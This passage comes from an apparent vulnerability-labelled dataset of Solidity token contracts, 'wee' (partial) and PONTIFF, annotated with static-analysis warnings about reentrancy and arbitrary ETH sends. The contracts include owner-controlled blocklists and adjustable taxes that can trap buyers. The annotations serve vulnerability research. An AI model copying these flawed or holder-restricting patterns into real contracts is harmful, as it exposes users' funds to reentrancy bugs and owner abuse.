address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for 30b5a8f: Ensure that all the return values of the function calls are used.\n function createweeTrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: cfc7e0f\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: cfc7e0f\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: cfc7e0f\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: 30b5a8f\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapweeTokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minweeTokens = pLimit;\n\n uint256 tokenweeWeight = pAmount;\n\n uint256 contractweeOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractweeOverWeight > minweeTokens &&\n tokenweeWeight > minweeTokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c9ebfe5): wee.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for c9ebfe5: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: c9ebfe5\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2f14d79): wee.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 2f14d79: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 2f14d79\n _finalSellTax = _newFee;\n }\n\n function isweeUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeweeActions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addwees(address[] memory wees_) public onlyOwner {\n for (uint i = 0; i < wees_.length; i++) {\n wees[wees_[i]] = true;\n }\n }\n\n function delwees(address[] memory notwee) public onlyOwner {\n for (uint i = 0; i < notwee.length; i++) {\n wees[notwee[i]] = false;\n }\n }\n\n function iswee(address a) public view returns (bool) {\n return wees[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8b74079): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8b74079: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f197800): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f197800: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!wees[sender] && !wees[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isweeUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeweeActions(sender, recipient);\n\n if (inSwapweeTokens(takefee, actions, amount, _swapweeThreshHold)) {\n\t\t\t// reentrancy-events | ID: 8b74079\n\t\t\t// reentrancy-eth | ID: f197800\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: 8b74079\n\t\t// reentrancy-eth | ID: f197800\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10626.sol",
"size_bytes": 22936,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PONTIFF is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 48bf5ea): PONTIFF._taxWallet should be immutable \n\t// Recommendation for 48bf5ea: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 781596c): PONTIFF._initialBuyTax should be constant \n\t// Recommendation for 781596c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e3e421): PONTIFF._initialSellTax should be constant \n\t// Recommendation for 8e3e421: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 654a53f): PONTIFF._reduceBuyTaxAt should be constant \n\t// Recommendation for 654a53f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d07a1e): PONTIFF._reduceSellTaxAt should be constant \n\t// Recommendation for 0d07a1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4245e9): PONTIFF._preventSwapBefore should be constant \n\t// Recommendation for b4245e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pontiff Supreme Benedicto\";\n\n string private constant _symbol = unicode\"PONTIFF\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c64ea21): PONTIFF._taxSwapThreshold should be constant \n\t// Recommendation for c64ea21: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25b1292): PONTIFF._maxTaxSwap should be constant \n\t// Recommendation for 25b1292: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4c4e1e0): PONTIFF.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4c4e1e0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7bf69a8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7bf69a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 73d69cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 73d69cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7bf69a8\n\t\t// reentrancy-benign | ID: 73d69cc\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7bf69a8\n\t\t// reentrancy-benign | ID: 73d69cc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b1b1d75): PONTIFF._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b1b1d75: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 73d69cc\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7bf69a8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 561afe0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 561afe0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 07539f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 07539f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 561afe0\n\t\t\t\t// reentrancy-eth | ID: 07539f4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 561afe0\n\t\t\t\t\t// reentrancy-eth | ID: 07539f4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 07539f4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 07539f4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 07539f4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 561afe0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 07539f4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 07539f4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 561afe0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7bf69a8\n\t\t// reentrancy-events | ID: 561afe0\n\t\t// reentrancy-benign | ID: 73d69cc\n\t\t// reentrancy-eth | ID: 07539f4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0ec5f8d): PONTIFF.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0ec5f8d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7bf69a8\n\t\t// reentrancy-events | ID: 561afe0\n\t\t// reentrancy-eth | ID: 07539f4\n\t\t// arbitrary-send-eth | ID: 0ec5f8d\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d6e3672): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d6e3672: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 049ad92): PONTIFF.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 049ad92: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9724687): PONTIFF.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9724687: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8f99f6b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8f99f6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d6e3672\n\t\t// reentrancy-eth | ID: 8f99f6b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d6e3672\n\t\t// unused-return | ID: 049ad92\n\t\t// reentrancy-eth | ID: 8f99f6b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d6e3672\n\t\t// unused-return | ID: 9724687\n\t\t// reentrancy-eth | ID: 8f99f6b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d6e3672\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8f99f6b\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10627.sol",
"size_bytes": 19734,
"vulnerability": 4
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.